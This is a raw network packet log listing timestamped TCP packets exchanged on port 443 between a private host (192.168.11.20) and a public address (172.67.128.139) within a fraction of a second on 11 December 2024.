Dec 11, 2024 12:15:53.184295893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.184314966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.184492111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.184492111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.184492111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.184716940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.184724092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.185420990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.185442924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.185589075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.185589075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.185600042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.185781956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.185781956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.185781956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.186264038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.186284065 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.186382055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.186429977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.186429977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.186613083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.186620951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.186805010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.188144922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.188163042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.188581944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.188581944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.188581944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.188595057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.188771009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.189296961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.189316034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.189459085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.189459085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.189471006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.189651966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.189840078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.189840078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190191031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.190222979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.190350056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190350056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190444946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190444946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190444946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190444946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.190454960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.192050934 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.192069054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.192198992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.192209959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.192262888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.192262888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.192262888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.192454100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.192454100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193023920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.193041086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.193186045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193186045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193370104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193370104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193370104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193370104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.193381071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.194159031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.194176912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.194319963 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.194333076 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.194511890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.194511890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.194511890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.195272923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.195296049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.195516109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.195516109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.195528984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.195563078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.197068930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.197087049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.197227001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.197227001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.197238922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.197421074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.197421074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.198009014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.198024035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.198169947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.198170900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.198543072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.198543072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.198554993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.198765039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.199080944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.199099064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.199433088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.199444056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.199629068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.200165033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.200180054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.200299978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.200299978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.200311899 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.200541973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.200541973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.200541973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.201824903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.201841116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.202279091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202279091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202279091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202279091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202279091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202297926 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.202461958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.202970028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.202991962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.203129053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.203129053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.203141928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.203325987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.203325987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.203325987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.203325987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.204185009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.204204082 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.204327106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.204376936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.204376936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.204384089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.204564095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205080032 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.205097914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.205665112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205665112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205665112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205665112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205665112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.205678940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.205845118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.206959009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.206974983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.207123995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.207137108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.207290888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.207290888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.207482100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.207482100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.208126068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.208146095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.208288908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.208288908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.208467960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.208467960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.208477020 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.208839893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.208861113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.209029913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.209029913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.209039927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.209117889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.209311008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.210742950 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.210762024 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.210906029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.210906029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.210918903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.211102009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.211102009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.211807966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.211827993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.211970091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.211970091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.212152958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.212152958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.212152958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.212162018 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.212889910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.212912083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.213443995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.213444948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.213457108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.213634014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.213634014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.213845015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.213864088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.214019060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.214019060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.214030981 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.214117050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.214308023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.215779066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.215799093 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.215946913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.215946913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.215960979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.216126919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216126919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216612101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.216634989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.216798067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216798067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216799021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216799021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.216813087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.216976881 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.217685938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.217704058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.217850924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.217850924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.217864037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.218043089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.218043089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.218858004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.218878984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.219023943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.219023943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.219203949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.219203949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.219212055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.219397068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.220695019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.220717907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.220860004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.220860958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.220873117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.221054077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221054077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221054077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221054077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221582890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.221601963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.221744061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221925020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221925020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221925020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.221935987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.222780943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.222803116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.223501921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.223501921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.223501921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.223501921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.223501921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.223516941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.223691940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.224404097 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.224422932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.224759102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.224759102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.224759102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.224771976 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.224952936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.225682020 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.225702047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.226037979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.226037979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.226049900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.226475954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.226491928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.226960897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.226960897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.226960897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.226974964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.227140903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227140903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227777004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.227797031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.227938890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227938890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227992058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227992058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.227999926 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.228177071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229290962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.229312897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.229454041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229465961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.229619026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229619026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229619026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229619026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.229619026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.230470896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.230489016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.230824947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.230824947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.230824947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.230824947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.230839968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.231653929 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.231676102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.231764078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.231775045 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.231812954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.231812954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232007980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232007980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232604980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.232620955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.232772112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232952118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232952118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232952118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.232959986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.234354973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.234374046 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.234710932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.234710932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.234710932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.234710932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.234710932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.234725952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.235583067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.235599041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.235748053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.235748053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.235748053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.235760927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.235940933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.235940933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.235940933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236373901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.236391068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.236510992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236510992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236557007 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236557007 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236557007 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.236566067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.236740112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.237477064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.237495899 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.238030910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.238030910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.238030910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.238044024 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.238099098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.238099098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.238099098 CET	49782	443	192.168.11.20	172.67.128.139
